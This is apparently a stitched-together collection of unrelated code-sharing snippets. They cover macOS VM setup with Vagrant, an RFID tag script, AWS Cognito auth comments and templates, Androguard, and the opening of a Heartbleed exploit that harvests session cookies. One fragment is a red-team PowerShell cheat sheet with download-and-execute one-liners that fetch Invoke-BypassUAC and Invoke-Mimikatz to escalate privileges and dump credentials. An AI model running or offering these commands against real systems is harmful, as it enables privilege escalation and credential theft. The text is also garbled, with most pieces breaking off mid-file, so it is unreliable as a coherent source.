0x4d4e

Disclaimer: Please follow this guide being aware of the fact that I'm not an expert regarding the things outlined below, however I made my best attempt. A few people in IRC confirmed it worked for them and the results looked acceptable.

Attention: After following all the steps run gdk-pixbuf-query-loaders --update-cache as root, this prevents various gdk-related bugs that have been reported in the last few hours. Symptoms are varied, and for Cinnamon the DE fails to start entirely while for XFCE the icon theme seemingly can't be changed anymore etc.

Check the gist's comments for any further tips and instructions, especially if you are running into problems!

Screenshots

Results after following the guide as of 11.01.2017 13:08:

Install Virtual Box (https://www.virtualbox.org)
Install Oracle VM VirtualBox Extension Pack (https://www.virtualbox.org)
Install Vagrant

mkdir osxvm
cd osxvm
vagrant init jhcook/osx-elcapitan-10.11

DEPRECATED:

New repo: https://github.com/konradit/gopro-linux

	#!/usr/bin/python3

	# Author: ceres-c 2019-12-29

	# Authenticate to ICODE SLI tags

	import hid

	# Global defines & commands
	password = [0x00, 0x00, 0x00, 0x00] # You have to find it yourself, try to search online in german ;-)

	// ### About this Flow ###
	// Using Custom Auth Flow through Amazon Cognito User Pools with Lambda Triggers to complete a 'CUSTOM_CHALLENGE'. This is the same flow as one-time passcode generated and sent via SMS or Email.
	// Instead, the service and user share a secret that was created during registration and both generate a 6-digit code based on the shared secret.
	// If the two codes (typically only good for 30 seconds) match, the user is authenticated.
	//
	// ### About this function ###
	// This DefineAuthChallengeCustom function (1st and 4th of 4 triggers) defines the type of challenge-response required for authentication.
	// For HOTP, TOTP, U2F, or WebAuthn flows, we'll always use 'CUSTOM_CHALLENGE' and this function code won't change between the various auth methods.

	// ### Next steps ###

	# Description:
	# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

	# Invoke-Mimikatz: Dump credentials from memory
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

	# Import Mimikatz Module to run further commands

	AWSTemplateFormatVersion: '2010-09-09'
	Description: Cognito Stack
	Parameters:
	AuthName:
	Type: String
	Description: Unique Auth Name for Cognito Resources

	Resources:
	# Creates a role that allows Cognito to send SNS messages
	SNSRole:

	# Based on Tim Sutton's prepare_iso.sh from the excellent osx-vm-templates
	# <https://github.com/timsutton/osx-vm-templates/blob/master/prepare_iso/prepare_iso.sh>

	hdiutil attach /Applications/Install\ OS\ X\ El\ Capitan.app/Contents/SharedSupport/InstallESD.dmg
	hdiutil create -o tmp.dmg -size 10g -layout SPUD -fs HFS+J
	hdiutil attach tmp.dmg
	asr restore --source /Volumes/OS\ X\ Install\ ESD/BaseSystem.dmg --target /Volumes/untitled --erase
	rm /Volumes/OS\ X\ Base\ System/System/Installation/Packages
	cp -Rv /Volumes/OS\ X\ Install\ ESD/Packages /Volumes/OS\ X\ Base\ System/System/Installation/
	cp -v /Volumes/OS\ X\ Install\ ESD/BaseSystem.* /Volumes/OS\ X\ Base\ System/

	#!/usr/bin/python
	"""
	Androguard decompilation script.
	Feed it an APK and an output directory and it will dump the source for you.

	I used this script to learn some androguard skillz.
	by k3170makan
	"""
	from sys import argv
	from sys import exit

	#!/usr/bin/python

	# Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
	# Michael Davis ([email protected])

	# Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])

	# The author disclaims copyright to this source code.

	import select